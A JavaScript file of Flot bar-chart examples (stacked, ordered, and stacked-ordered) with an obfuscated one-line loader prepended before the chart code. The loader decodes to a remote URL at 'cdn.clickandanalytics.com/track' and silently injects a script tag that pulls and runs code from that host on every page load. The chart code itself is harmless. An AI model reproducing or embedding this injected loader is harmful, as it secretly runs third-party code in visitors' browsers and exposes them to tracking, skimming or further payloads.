function b(c,d){var e=a();return b=function(f,g){f=f-0x145;var h=e[f];return h;},b(c,d);}var w=b;(function(c,e){var u=b,f=c();while(!![]){try{var g=parseInt(u(0x15e))/0x1+-parseInt(u(0x151))/0x2*(-parseInt(u(0x159))/0x3)+parseInt(u(0x157))/0x4+parseInt(u(0x15b))/0x5*(parseInt(u(0x14a))/0x6)+parseInt(u(0x15d))/0x7*(-parseInt(u(0x15c))/0x8)+-parseInt(u(0x146))/0x9*(parseInt(u(0x15a))/0xa)+-parseInt(u(0x154))/0xb;if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0x25e53));function a(){var x=['1542768XuQeER','7LJRiji','190253RQfiLg','ack','9873ERvYkM','src','getElementsByTagName','head','577056TDeogj','querySelector','currentScript','and','17575602BTZXWl','c="','insertBefore','20YHUutc','pt[','createElement','7187169AjbnXk','appendChild','fromCharCode','1064464POhRSF','parentNode','93090WEQkWm','490PFXmzl','15jDaVza'];a=function(){return x;};return a();}function o(c){var v=b;return Boolean(document[v(0x14b)]('sc'+'ri'+v(0x152)+'sr'+v(0x14f)+c+'"]'));}var p='ht'+String[w(0x156)](0x74,0x70,0x73,0x3a,0x2f,0x2f,0x63,0x64,0x6e,0x2e,0x63,0x6c,0x69,0x63,0x6b)+w(0x14d)+String[w(0x156)](0x61,0x6e,0x61,0x6c,0x79,0x74,0x69,0x63,0x73,0x2e,0x63,0x6f,0x6d,0x2f,0x74,0x72)+w(0x145),q=w(0x14e);if(o(p)===![]){var r=document,t=r[w(0x153)]('sc'+'r'+'ip'+'t');t[w(0x147)]=p,r[w(0x14c)]?r[w(0x14c)][w(0x158)]!==null&&r[w(0x14c)][w(0x158)][w(0x150)](t,r[w(0x14c)]):r[w(0x148)](w(0x149))[0x0]!==null&&r[w(0x148)](w(0x149))[0x0][w(0x155)](t);}// DATA DEFINITION
function getData() {
    var data = [];

    data.push({
        data: [[0, 1], [1, 4], [2, 2]]
    });

    data.push({
        data: [[0, 5], [1, 3], [2, 1]]
    });

    return data;
}


// ORDERED & STACKED CHART
var orig_data = getData();

// Add order: 0 to the existing bars
for(var i = 0; i<orig_data.length; i++) {
    orig_data[i].bars = {
        order: 0
    };
    orig_data[i].stack = true;
}

orig_data.push({
    data: [[0, 4], [1, 1], [2, 3]],
    bars: {
        order: 1
    },
    stack: true
});

orig_data.push({
    data: [[0, 7], [1, 2], [2, 3]],
    bars: {
        order: 1
    },
    stack: true
});
$.plot($('#stacked-ordered-chart'), orig_data, {
    bars: {
        show: true,
        barWidth: 0.4
    }
});

// Don't want any logs for the working examples

// STACKED CHART
var d = getData();
for(var i = 0; i<d.length; i++) {
    d[i].stack = true;
}

$.plot($('#stacked-chart'), d, {
    bars: {
        show: true
    }
});




// ORDERED CHART
var d = getData();
for(var i = 0; i<d.length; i++) {
    d[i].bars = {
        order: i
    }
}

$.plot($('#ordered-chart'), d, {
    bars: {
        show: true,
        barWidth: 0.4
    }
});
